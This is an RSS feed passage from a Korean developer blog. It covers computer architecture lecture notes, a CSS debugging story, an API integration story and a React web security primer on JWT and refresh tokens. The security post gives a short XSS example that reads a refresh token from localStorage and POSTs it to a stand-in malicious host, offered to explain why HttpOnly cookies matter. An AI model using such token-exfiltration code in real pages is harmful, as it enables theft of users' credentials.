<p>강의자료에서 사용하는 기본 메모리 모델은 load/store architecture이다.</p>
<ul>
<li><p>memory 접근은 load instruction과 store instruction으로만 수행된다</p>
</li>
<li><p>나머지 instruction은 register 간 연산만 수행한다</p>
</li>
<li><p>memory address는 register + offset 형태로 계산된다</p>
</li>
</ul>
<p>이 방식은 computation과 memory access를 명확히 분리한다.</p>
<h3 id="5-instruction-categories">5. Instruction Categories</h3>
<p>강의자료에서는 instruction을 기능에 따라 여러 범주로 구분한다.</p>
<h4 id="1-arithmetic-instructions">(1) Arithmetic Instructions</h4>
<ul>
<li><p>add, sub, mul, div 등</p>
</li>
<li><p>register에 저장된 값을 대상으로 산술 연산을 수행한다</p>
</li>
<li><p>연산 결과는 register에 저장된다</p>
</li>
</ul>
<h4 id="2-logical-instructions">(2) Logical Instructions</h4>
<ul>
<li><p>and, or, xor, not 등</p>
</li>
<li><p>bit-level logical operation을 수행한다</p>
</li>
<li><p>조건 판단 및 마스킹(masking)에 사용된다</p>
</li>
</ul>
<h4 id="3-data-transfer-instructions">(3) Data Transfer Instructions</h4>
<ul>
<li><p>load, store, move 등</p>
</li>
<li><p>memory와 register 사이의 데이터 이동을 담당한다</p>
</li>
<li><p>load/store architecture의 핵심 구성 요소이다</p>
</li>
</ul>
<h4 id="4-control-flow-instructions">(4) Control Flow Instructions</h4>
<ul>
<li><p>branch, jump, call, return 등</p>
</li>
<li><p>program counter(PC)를 변경하여 실행 흐름을 제어한다</p>
</li>
<li><p>조건 분기와 반복 구조를 구현한다</p>
</li>
</ul>
<h4 id="5-comparison-instructions">(5) Comparison Instructions</h4>
<ul>
<li><p>compare, set-on-condition 계열 instruction</p>
</li>
<li><p>두 operand를 비교하여 condition flag 또는 결과 값을 생성한다</p>
</li>
<li><p>branch instruction과 함께 사용되어 제어 흐름을 결정한다</p>
</li>
</ul>
<h3 id="6-addressing-modes">6. Addressing Modes</h3>
<p>Instruction은 operand를 지정하기 위해 addressing mode를 사용한다.</p>
<p>대표적인 addressing mode는 다음과 같다.</p>
<ul>
<li><p>register addressing</p>
</li>
<li><p>immediate addressing</p>
</li>
<li><p>base + offset addressing</p>
</li>
</ul>
<p>addressing mode는 instruction의 표현력과 실행 효율에 직접적인 영향을 준다.</p>
<h3 id="7-high-level-language와-instruction-mapping">7. High-level Language와 Instruction Mapping</h3>
<p>하나의 high-level language statement는
여러 개의 assembly instruction으로 변환될 수 있다.</p>
<p>이를 통해 다음을 이해할 수 있다.</p>
<ul>
<li><p>program execution은 instruction sequence로 구성된다</p>
</li>
<li><p>instruction count와 instruction type 분포가 성능에 영향을 준다</p>
</li>
<li><p>compiler는 high-level code를 instruction 형태로 재구성한다</p>
</li>
</ul>
<h2 id="정리">정리</h2>
<p>강의자료 2는 다음 내용을 다룬다.</p>
<ul>
<li><p>Assembly language는 instruction-level execution을 이해하기 위한 도구이다</p>
</li>
<li><p>ISA는 instruction, register, memory 사용 규칙을 정의한다</p>
</li>
<li><p>Execution은 register 중심이며, memory access는 load/store로 제한된다</p>
</li>
<li><p>Instruction은 연산, 데이터 이동, 제어 흐름 등으로 구분된다</p>
</li>
<li><p>High-level program은 instruction sequence로 실현된다</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[컴구 완전정복] 1. Computer Abstractions & Performance]]></title>
            <link>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-Computer-Abstractions-Performance</link>
            <guid>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-Computer-Abstractions-Performance</guid>
            <pubDate>Wed, 31 Dec 2025 03:09:34 GMT</pubDate>
            <description><![CDATA[<h2 id="📘-강의자료-1-요약">📘 강의자료 1 요약</h2>
<h3 id="computer-abstractions--performance">Computer Abstractions &amp; Performance</h3>
<p>이 강의는 컴퓨터 성능을 어떤 관점에서 이해하고 비교해야 하는지를 다룬다.
성능을 단순한 숫자가 아니라, 구조와 맥락 속에서 해석하는 방법을 정리한다.</p>
<h3 id="1-성능은-여러-계층의-결과이다">1. 성능은 여러 계층의 결과이다</h3>
<p>컴퓨터 성능은 하나의 요소로 결정되지 않는다.</p>
<ul>
<li><p>프로그램과 알고리즘</p>
</li>
<li><p>컴파일러</p>
</li>
<li><p>명령어 집합 구조(ISA)</p>
</li>
<li><p>CPU 내부 구조(마이크로아키텍처)</p>
</li>
<li><p>하드웨어 기술(클럭, 공정)</p>
</li>
</ul>
<p>이 강의는 성능을 논할 때 이 계층들이 함께 작용한다는 점을 전제로 한다.</p>
<h3 id="2-성능-평가의-기준은-실행-시간이다">2. 성능 평가의 기준은 실행 시간이다</h3>
<p>CPU 성능은 실행 시간(execution time)으로 표현된다.</p>
<ul>
<li>CPU Time = Instruction Count × CPI × Clock Cycle Time</li>
</ul>
<h3 id="3-단일-지표의-한계">3. 단일 지표의 한계</h3>
<p>MIPS와 같은 단일 성능 지표는 직관적이지만,
서로 다른 구조나 명령어 집합을 비교할 때 오해를 만들 수 있다.</p>
<p>이 강의는 성능 비교에서 지표보다 실행 시간이 더 신뢰할 수 있는 기준임을 강조한다.</p>
<h3 id="4-벤치마크의-역할">4. 벤치마크의 역할</h3>
<p>벤치마크는 실제 사용 환경을 대표하는 작업 집합을 통해
시스템 성능을 보다 현실적으로 비교하기 위한 도구이다.</p>
<p>대표적으로 SPEC 벤치마크가 사용되며,
단일 수치가 아닌 종합적인 성능 비교를 가능하게 한다.</p>
<h3 id="5-amdahls-law와-성능-개선의-한계">5. Amdahl’s Law와 성능 개선의 한계</h3>
<p>Amdahl의 법칙은 전체 성능 향상이
개선된 부분이 차지하는 비율에 의해 제한됨을 보여준다.</p>
<p>이는 성능 최적화에서 어떤 부분을 개선하는 것이 효과적인지 판단하는 기준이 된다.</p>
<h2 id="정리">정리</h2>
<p>이 강의자료는 다음의 관점을 제공한다.</p>
<ul>
<li><p>컴퓨터 성능은 구조적 맥락 속에서 이해해야 한다</p>
</li>
<li><p>성능 비교는 실행 시간을 기준으로 이루어져야 한다</p>
</li>
<li><p>단일 지표에는 해석상의 한계가 있다</p>
</li>
<li><p>벤치마크와 Amdahl의 법칙은 성능을 올바르게 해석하기 위한 도구이다</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[CSS... 고칠 줄 아시나요?]]></title>
            <link>https://velog.io/@eunseo_song/CSS...-%EA%B3%A0%EC%B9%A0-%EC%A4%84-%EC%95%84%EC%8B%9C%EB%82%98%EC%9A%94</link>
            <guid>https://velog.io/@eunseo_song/CSS...-%EA%B3%A0%EC%B9%A0-%EC%A4%84-%EC%95%84%EC%8B%9C%EB%82%98%EC%9A%94</guid>
            <pubDate>Tue, 04 Mar 2025 08:47:48 GMT</pubDate>
            <description><![CDATA[<h2 id="1-css를-스스로-고칠-줄-알아야-하는-이유">1. CSS를 스스로 고칠 줄 알아야 하는 이유</h2>
<p>지피티는 똑똑한데... 생각보다 바보 같다는 점을 알아야 한다
그냥 눈에 보이는걸 만들어주는 것은 가능한데 component가 많아지고 퍼블리싱을 하면서 import를 계속하게 되면 경로가 복잡해져서 지피티가 더이상 고쳐줄 수 없다</p>
<p>때문에!!
<strong>CSS는 스스로 계층을 파악하고, 우선순위를 볼 줄 알아야한다</strong>
검사를 통해서 파악하는 것도 한계가 있으니, 스스로 알고 있는게 중요하다</p>
<h2 id="2-css-문제-발생">2. CSS 문제 발생</h2>
<h3 id="1-문제-이해하기">1. 문제 이해하기</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/f8b189f3-21fb-422e-a4d6-da910f968d38/image.png" alt="">
<img src="https://velog.velcdn.com/images/eunseo_song/post/384f3d3e-bcf1-4785-8c92-aadd1fe414a1/image.png" alt="">
<img src="https://velog.velcdn.com/images/eunseo_song/post/bb4cae2f-8632-4936-b088-f3d4947bd830/image.png" alt=""></p>
<p>sidebar.tsx가 미디어쿼리를 적용할 때, sidebar의 border 색상이 적용이 되지 않는 문제가 발생했다</p>
<p>sidebar의 미디어쿼리니까 sidebar에서 이리저리 만지면서 고치던 나
결국은 문제를 해결하지 못했다
sidebar를 이루는 component에서도 문제 해결을 하지 못했다</p>
<p><strong>1. css의 우선순위가 밀려서 적용되지 않음
2. 구조상 우선순위가 밀림</strong></p>
<p>1번 방식으로 !important 까지 써가면서 최선을 다했지만 css의 우선순위가 밀려서 적용되지 않는 것은 아닌 것 같아 2번 구조상 우선순위를 열심히 찾아봤다</p>
<h3 id="2-문제의-해결">2. 문제의 해결</h3>
<p>문제는 생각보다 단순하게 해결된 것을 볼 수 있다
고민한 시간이 무색해지도록 간단한...</p>
<p>파일 구조를 좀 살펴보면
<img src="https://velog.velcdn.com/images/eunseo_song/post/7a7a0c6c-47da-4917-9d55-78870020bdc4/image.png" alt="">
stories &gt; components &gt; intranet &gt; community &gt; sidebar.tsx 를 import 해서
pages &gt; community &gt; community.tsx 파일이 사용하고 있다는 걸 볼 수 있다</p>
<p>community.tsx에서 border의 색상을 따로 지정하지 않고 background-color 만 미디어쿼리 @(max width 540) 이런 식으로 설정해서 background-color의 차이를 준 형태로 지정해두었다
<img src="https://velog.velcdn.com/images/eunseo_song/post/6d4178c9-4d7e-4e77-bbdf-4b434cb46a9e/image.png" alt=""></p>
<p>community.tsx의 기본적인 background-color가 sidebar.tsx 에게까지 영향을 준 것으로 판단했다</p>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/3a8da4c6-a91b-49a0-bd8a-9c562e547afc/image.png" alt="">
이랬던 코드를 아래와 같이 바꾸니까
<img src="https://velog.velcdn.com/images/eunseo_song/post/0c81d6be-4c94-4afa-b3fb-3ee8665b4e82/image.png" alt=""></p>
<p>내가 원하는 대로 제대로 돌아간다!
<img src="blob:https://velog.io/0165854c-47ac-4c6d-b33a-c991aff0452e" alt="업로드중.."></p>
<p>이렇게 해서 코드를 고칠 수 있었다</p>
<h2 id="3-교훈">3. 교훈</h2>
<p>CSS 뿐만 아니라 모든 코드가 그러하지만,
CSS의 경우에는 더욱 더 직접 코드의 계층을 이해해서 직접 고치는게 훨~ 빠르다</p>
<p>앞으로 이렇게 component가 복잡하게 import 된 경우에는 상위계층에서 문제가 발생했는지를 먼저 찾아보는 것도 좋은 방법이라고 생각한다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[혹시 API 연결... 애먹으신 경험 있나요?]]></title>
            <link>https://velog.io/@eunseo_song/%ED%98%B9%EC%8B%9C-API-%EC%97%B0%EA%B2%B0...-%EC%95%A0%EB%A8%B9%EC%9C%BC%EC%8B%A0-%EA%B2%BD%ED%97%98-%EC%9E%88%EB%82%98%EC%9A%94</link>
            <guid>https://velog.io/@eunseo_song/%ED%98%B9%EC%8B%9C-API-%EC%97%B0%EA%B2%B0...-%EC%95%A0%EB%A8%B9%EC%9C%BC%EC%8B%A0-%EA%B2%BD%ED%97%98-%EC%9E%88%EB%82%98%EC%9A%94</guid>
            <pubDate>Thu, 13 Feb 2025 17:36:58 GMT</pubDate>
            <description><![CDATA[<p>어느 때처럼 React로 씨즌넷 방송국 인하우스를 만들던 하루
그러나 갑자기 API와 관련하여 씨름하게 되는데...
지금부터 그 때 발생한 오류들과 해결책을 보러 가시죠!!</p>
<h2 id="1-엔드포인트-확인새-api-생성">1. 엔드포인트 확인&amp;새 API 생성</h2>
<h3 id="1-엔드포인트-확인">1) 엔드포인트 확인</h3>
<p>엔드 포인트를 확인하는 것은 가장 기본적이면서도 중요한 업무죠
백엔드가 만들어준 swagger를 보면서 차근차근 맞춰야 하는데!</p>
<p>우리의 송모씨(23)세는 엔드포인트 확인을 제일 늦게 하고 다른 기능 이상부터 체크하느라 시간이 오래 걸렸다
그러니까 부서를 불러오지 못하죠!
또한 문제가 하나 더 있었다
SSIZENT_API를 사용해야 하는데 일부 코드에는 반영하지 않은.</p>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/7c4fcdd3-ba51-4f78-b22b-017765670701/image.png" alt=""></p>
<p>이렇게 SSIZENT_API를 사용하고 엔드포인트 확인을 해도...! 문제가 해결되지 않았다</p>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/04374c61-cac7-4e81-bdb0-ae4be9122a9a/image.jpeg" alt=""></p>
<h3 id="2-새-api-생성">2) 새 API 생성</h3>
<p>회원가입 과정에서 아이디 중복확인에 사용된 아이디는 auth/signup 이었다
그래서 난 회원가입할 때 사용하는 아이디만 따로 확인하는 형태로 만들었지만 데이터 방식이 맞지 않아서 계속 에러가 발생했다</p>
<p><strong>그럼 회원가입 전용 API를 새로 만들어야 하는거 아닌가?</strong> 
라는 생각이 들어서 백엔드와 이야기를 해본 결과,
auth/idCheck API를 새로 만들어서 연결해보니
드디어 department가 뜬다!!!</p>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/2cbf2f90-1eca-47f3-898a-a2452a35958d/image.jpeg" alt=""></p>
<h2 id="2-에러-메시지-파악하기">2. 에러 메시지 파악하기</h2>
<p>여기서 회원가입/로그인이 마무리 되면 좋지만~ 또다른 에러가 계속해서 발생한다 ㅎㅎㅎ</p>
<p>이 부분은 생각보다 정말 시간이 많이 들어갔다
검사에서 404가 뜨는걸 보고 프론트 어디에서 또 문제가 나는걸까를 계속 고민하게 되는 문제에 빠지게 된 것이다</p>
<p>이번에는 SSIZENET_API도 제대로 썼고, 프론트에서 기능적인 오류가 없는거 같다는 생각이 들어서 계속 찾아보면서 빠진 것을 확인했다</p>
<p>일단 혹시 모르니까 <strong>postman으로 확인</strong>을 해주면?
백엔드의 문제는 아닌걸 깔끔하게 확인하고
프론트에서 문제를 고치기로 한다</p>
<h3 id="1-에러-메시지-확인하기">1) 에러 메시지 확인하기</h3>
<p>auth/idCheck 회원가입 시 아이디 중복 확인을 하는 부분이었는데, 분명 백엔드에서 요구하는 정확한 형식대로 입력을 했음에도 불구하고...
<strong>200과 404가 번갈아 뜨는 이유를 알지 못했다</strong></p>
<ul>
<li>404의 의미가 뭘까?
나는 일단 코드에서 잘못 구현된 부분이 있나를 보는데 중점을 두었지만, 404의 의미가 무엇인가부터 곰곰히 생각을 해보기로 했다</li>
</ul>
<p><strong>1) 200이 뜨는 경우</strong>
입력하는 아이디의 형식이 동일하지만 다른 반응이 나오는 것으로 입력하는 아이디 자체가 문제가 있는 것이 아니라는 것은 확인했다.
사용할 수 있는 유효한 아이디인 경우 200이 뜨는 것이라 생각했다</p>
<p><strong>2) 404가 뜨는 경우</strong>
404가 뜨는 경우는 프론트 자체에 문제가 있다는 것이 아니라, 입력한 아이디가 이미 존재하여 회원가입이 불가능한 경우에 404를 리턴하는 것이라고 생각했다</p>
<p>그래서 백엔드와 다시 이야기해본 결과, 이게 맞았고
<strong>회원가입이 가능한 아이디인 경우 200, 이미 존재하는 아이디인 경우 409를 띄우기로 바꿨다</strong></p>
<h3 id="2-여기서-배운-점">2) 여기서 배운 점</h3>
<ol>
<li>지금처럼 postman으로 프론트의 문제인지 백엔드의 문제인지 확인해주는 작업이 선행되면 깔끔하다는 것</li>
<li>일단 404가 뜬다고 프론트에서 문제가 반드시 발생하는 것은 아니라는 것</li>
<li>백엔드에서 메시지는 임의로 설정해서 띄우기가 가능하므로, 너무 혼자 고민하기보다는 백엔드한테도 이러이러한 상황이다를 설명해주면 좋다는 것</li>
</ol>
<p><strong>그렇게 회원가입/로그인을 잘 마무리했다</strong></p>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/1f80d611-51f9-41db-827d-abdc844108d4/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/fb8f48f2-2109-4657-9bde-2564b272d4b7/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] 프론트엔드가 알아야 하는 웹 보안 상식]]></title>
            <link>https://velog.io/@eunseo_song/React-%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C%EA%B0%80-%EC%95%8C%EC%95%84%EC%95%BC-%ED%95%98%EB%8A%94-%EC%9B%B9-%EB%B3%B4%EC%95%88-%EC%83%81%EC%8B%9D</link>
            <guid>https://velog.io/@eunseo_song/React-%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C%EA%B0%80-%EC%95%8C%EC%95%84%EC%95%BC-%ED%95%98%EB%8A%94-%EC%9B%B9-%EB%B3%B4%EC%95%88-%EC%83%81%EC%8B%9D</guid>
            <pubDate>Thu, 09 Jan 2025 14:43:55 GMT</pubDate>
            <description><![CDATA[<h2 id="1-토큰token-이란">1. 토큰(Token) 이란?</h2>
<p>토큰(Token)은 사용자 인증 및 권한 부여를 위한 임시 데이터이다.
토큰은 특정 정보를 포함하고 있으며, 이를 기반으로 서버와 클라이언트 간의 신뢰를 형성하는 역할을 한다.</p>
<h4 id="1-토큰의-구조-jwt-기준">1. 토큰의 구조 (JWT 기준)</h4>
<p>JWT는 세 부분으로 구성된 문자열이다.
토큰은 이렇게 일반적으로 문자열 형태로 구성된다.</p>
<ul>
<li><p><strong>Header (헤더)</strong>
토큰의 타입과 해싱 알고리즘 정보를 포함한다.
예: { &quot;alg&quot;: &quot;HS256&quot;, &quot;typ&quot;: &quot;JWT&quot; }</p>
</li>
<li><p><strong>Payload (페이로드)</strong>
인증과 관련된 정보를 담고 있으며, 사용자 ID, 권한, 토큰 만료 시간 등이 포함된다.
예: { &quot;sub&quot;: &quot;1234567890&quot;, &quot;name&quot;: &quot;John Doe&quot;, &quot;exp&quot;: 1714971600 }</p>
</li>
<li><p><strong>Signature (서명)</strong>
Header와 Payload를 특정 키로 암호화하여 생성한 값으로, 토큰이 변조되지 않았음을 증명한다.
예: HMACSHA256(base64UrlEncode(header) + &quot;.&quot; + base64UrlEncode(payload), secret)</p>
</li>
</ul>
<h4 id="2-토큰을-사용하는-이유">2. 토큰을 사용하는 이유</h4>
<ul>
<li><p><strong>상태를 서버에 저장하지 않아도 된다(Stateless)</strong>
토큰은 클라이언트에 저장되므로, 서버는 사용자의 상태를 별도로 유지할 필요가 없다.
이를 통해 확장성이 좋아지고, 서버 부하가 줄어드는 <strong>효율성</strong>이 있다.</p>
</li>
<li><p><strong>보안 및 편의성</strong>
비밀번호를 매번 전송할 필요 없이, 토큰을 통해 한 번 로그인으로 여러 API 호출을 할 수 있다.
민감한 데이트를 토큰에 표함하지 않고 필요한 최소한의 정보만 담아 보안을 유지할 수 있다.</p>
</li>
<li><p><strong>유효 기간 관리</strong>
Access Token과 Refresh Token을 사용해 보안과 사용자 경험을 모두 충족할 수 있다.</p>
<p>  Access Token: 짧은 유효 기간으로 보안을 강화.
  Refresh Token: 긴 유효 기간으로 사용자 편의성 제공.</p>
</li>
<li><p><strong>CORS 및 세션 문제 해결</strong>
브라우저에서 서로 다른 도메인간 요청(CORS) 처리 시, 세션 쿠기 대신 토큰을 사용하면 보다 쉽게 인증 문제를 해결할 수 있다.</p>
</li>
</ul>
<p>그럼 지금까지 토큰이 무엇인지를 알아보았으니 진짜 본론으로 들어가보도록 하자~</p>
<h2 id="2-access-token과-token의-차이">2. Access Token과 Token의 차이</h2>
<h4 id="1-access-token">1. Access Token</h4>
<ul>
<li>역할: 사용자 인증이 완료된 후, 클라이언트가 서버에 API 요청을 할 때 사용되는 토큰.</li>
<li>유효 기간: 일반적으로 짧은 유효 기간(수 분 ~ 수십 분)을 가짐.</li>
<li>특징:
요청 헤더에 포함시켜 보호된 리소스에 접근할 수 있음.
만료되면 더 이상 사용할 수 없으므로 새로운 Access Token이 필요함.</li>
</ul>
<h4 id="2-refresh-roken">2. Refresh Roken</h4>
<ul>
<li>역할: Access Token이 만료되었을 때, 새로운 Access Token을 발급받기 위한 토큰.</li>
<li>유효 기간: Access Token보다 훨씬 긴 유효 기간(수일 ~ 수개월)을 가짐.</li>
<li>특징:
서버에만 저장되며, 클라이언트는 이를 보관하지 않거나 보안이 강화된 영역에 보관해야 함.
일반적으로 재발급 엔드포인트(/auth/refresh)에 요청할 때 사용.
Access Token과 달리, 리소스 접근에 직접 사용되지 않음.</li>
</ul>
<h2 id="3-refresh-token-사용-시-프론트엔드-처리-방식">3. Refresh Token 사용 시 프론트엔드 처리 방식</h2>
<h4 id="0-refresh-token이-필요한-이유">0. Refresh Token이 필요한 이유</h4>
<p>Access Token의 유효 기간이 짧기 때문에 사용자는 자주 로그인이 만료되는 경험을 하게 됨.
Refresh Token을 사용하면 사용자가 다시 로그인할 필요 없이 자동으로 새로운 Access Token을 발급받아 UX를 개선할 수 있음.</p>
<h4 id="1-기본-처리-흐름">1. 기본 처리 흐름</h4>
<ul>
<li><p>초기 로그인:
서버로부터 Access Token과 Refresh Token을 발급받음.
Access Token은 클라이언트가 메모리에 저장하고, Refresh Token은 보안 영역(예: HttpOnly 쿠키)에 저장.</p>
</li>
<li><p>API 요청:
API 요청 시 Access Token을 요청 헤더(Authorization: Bearer <token>)에 포함하여 보냄.</p>
</li>
<li><p>Access Token 만료 시:
서버가 401 Unauthorized 응답을 반환하면, 프론트엔드는 Refresh Token을 이용하여 새로운 Access Token을 발급받음.
발급받은 새로운 Access Token으로 다시 요청을 재시도함.</p>
</li>
</ul>
<h4 id="2-주의사항">2. 주의사항</h4>
<ul>
<li><p>Refresh Token 보관:
Refresh Token은 반드시 HttpOnly 쿠키에 저장하여 XSS 공격에 노출되지 않도록 함.</p>
</li>
<li><p>토큰 재발급 주기:
너무 자주 Refresh Token으로 Access Token을 재발급하지 않도록 만료 시간을 적절히 설정.\</p>
</li>
<li><p>자동 로그아웃 처리:
Refresh Token도 만료된 경우, 사용자에게 다시 로그인을 요구함으로써 보안을 유지해야 함.</p>
</li>
</ul>
<h2 id="3-추가로-알아두어야-할-웹-보안-개념">3. 추가로 알아두어야 할 웹 보안 개념</h2>
<p><strong>1. XSS(Cross-Site Scripting)</strong></p>
<ul>
<li>개념: 악성 스크립트를 웹 애플리케이션에 삽입하여 사용자의 세션, 쿠키 등을 탈취하는 공격.</li>
<li>대처법:
사용자 입력을 HTML에 렌더링하기 전에 반드시 인코딩 처리.
React와 같은 라이브러리는 JSX 자동 인코딩으로 기본적인 보호 제공.</li>
</ul>
<p>*<em>2. CSRF (Cross-Site Request Forgery) *</em> </p>
<ul>
<li>개념: 사용자가 인증된 세션을 이용하여 공격자가 의도한 요청을 서버로 보내는 공격.</li>
<li>대처법:
CSRF 토큰을 사용하여 요청을 검증.
Refresh Token을 HttpOnly 쿠키에 저장하고 CSRF 방어 토큰을 추가로 헤더에 포함하여 방어.</li>
</ul>
<p><strong>3. HTTPS</strong></p>
<ul>
<li>개념: HTTP 요청과 응답을 암호화하여 중간에 탈취당하지 않도록 하는 보안 프로토콜.</li>
<li>대처법:
모든 요청은 반드시 HTTPS로 통신.
인증 관련 토큰 및 민감한 데이터는 평문이 아닌 암호화된 상태로 전송.</li>
</ul>
<p><strong>4. CORS (Cross-Origin Resource Sharing)</strong></p>
<ul>
<li>개념: 서로 다른 도메인 간 요청을 제한하는 보안 정책.</li>
<li>대처법:
서버에서 적절한 CORS 설정을 하여 허용할 도메인만 지정.
클라이언트 요청 시 필요한 헤더(Origin, Credentials)를 포함하여 요청.</li>
</ul>
<h2 id="3-프론트엔드에서-주의할-점">3. 프론트엔드에서 주의할 점</h2>
<p><strong>1. 보관방식</strong>
LocalStorage나 SessionStorage에 Refresh Token을 보관하면 XSS 공격에 취약할 수 있으므로, 반드시 HttpOnly 쿠키에 저장해야 함.</p>
<ul>
<li>왜 LocalStorage와 SessionStorage에 Refresh Token을 저장하면 안 될까?
LocalStorage와 SessionStorage에 저장된 데이터는 브라우저 내 모든 스크립트에서 접근할 수 있습니다. 만약 사이트에 악성 스크립트가 삽입되는 XSS(Cross-Site Scripting) 공격이 발생할 경우, 공격자는 해당 스크립트를 통해 사용자의 토큰을 탈취할 수 있다.</li>
</ul>
<p>XSS 공격 예시:
가정: Refresh Token이 LocalStorage에 저장된 경우
const token = localStorage.getItem(&quot;refreshToken&quot;);
fetch(&quot;<a href="https://malicious-site.com&quot;">https://malicious-site.com&quot;</a>, { method: &quot;POST&quot;, body: token });</p>
<ul>
<li>HttpOnly 쿠키란?
HttpOnly 속성이 설정된 쿠키는 클라이언트의 자바스크립트에서 접근할 수 없다. 즉, XSS 공격으로도 탈취가 불가능하다.<br>브라우저가 자동으로 요청 시 쿠키를 헤더에 포함하기 때문에 Refresh Token을 사용할 때도 편리하다.</li>
</ul>
<p>쿠키 설정 예시:
// Set-Cookie: refreshToken=abcd1234; HttpOnly; Secure; SameSite=Strict</p>
<p>Secure 속성: HTTPS 요청에서만 쿠키를 전송한다.</p>
<p><strong>2. 토큰 재발급 요청: Axios 인터셉터 활용</strong></p>
<p>토큰이 만료될 때마다 새로운 Access Token을 발급받기 위해 Refresh Token을 자동으로 사용하도록 API 요청 인터셉터(예: Axios 인터셉터)를 활용할 수 있다.</p>
<ul>
<li><p>왜 API 요청 인터셉터를 사용할까?
토큰 기반 인증 시스템에서는 Access Token이 주기적으로 만료되기 때문에, 만료된 토큰으로 요청이 실패했을 때 자동으로 새로운 Access Token을 발급받고 다시 요청을 시도해야 한다.
이 과정이 수동으로 이루어지면 코드가 복잡해지고 오류가 발생할 수 있으므로, Axios와 같은 HTTP 클라이언트의 인터셉터를 사용하여 자동으로 처리할 수 있다.</p>
</li>
<li><p>인터셉터 기본 동작 방식</p>
</li>
</ul>
<ol>
<li>API 요청 전, Access Token을 Authorization 헤더에 포함한다.</li>
<li>요청 실패 시(예: 401 Unauthorized 응답), Refresh Token으로 새로운 Access Token을 요청.</li>
<li>새로운 Access Token이 발급되면 원래 요청을 다시 시도한다.</li>
<li>모든 작업이 완료된 후 정상적인 응답을 반환한다.</li>
</ol>
<h2 id="4-결론">4. 결론</h2>
<ul>
<li><strong>토큰 기반 인증</strong>은 서버와 클라이언트 간의 효율적이고 확장 가능한 인증 방식이다.
특히 JWT와 같은 구조화된 토큰을 통해 상태를 유지하지 않는(stateless) 방식으로 작동하여 높은 유연성을 제공한다.</li>
<li><strong>Access Token</strong>과 <strong>Refresh Token</strong>을 적절히 활용하면, 짧은 유효 기간으로 보안을 강화하면서도 UX를 개선할 수 있다. 프론트엔드에서는 보안이 중요한 만큼, HttpOnly 쿠키를 이용한 Refresh Token 관리와 Axios 인터셉터를 통한 자동 재발급 처리가 핵심이다.</li>
<li><strong>XSS, CSRF, CORS 등 주요 웹 보안 위협</strong>에 대비하고, <strong>모든 통신을 HTTPS로 암호화</strong>하여 안전한 데이터 전송을 보장해야 합니다. 이러한 모든 요소를 종합적으로 고려함으로써, 보안성과 사용자 편의성을 동시에 확보할 수 있다.</li>
</ul>
]]></description>
        </item>
    </channel>
</rss>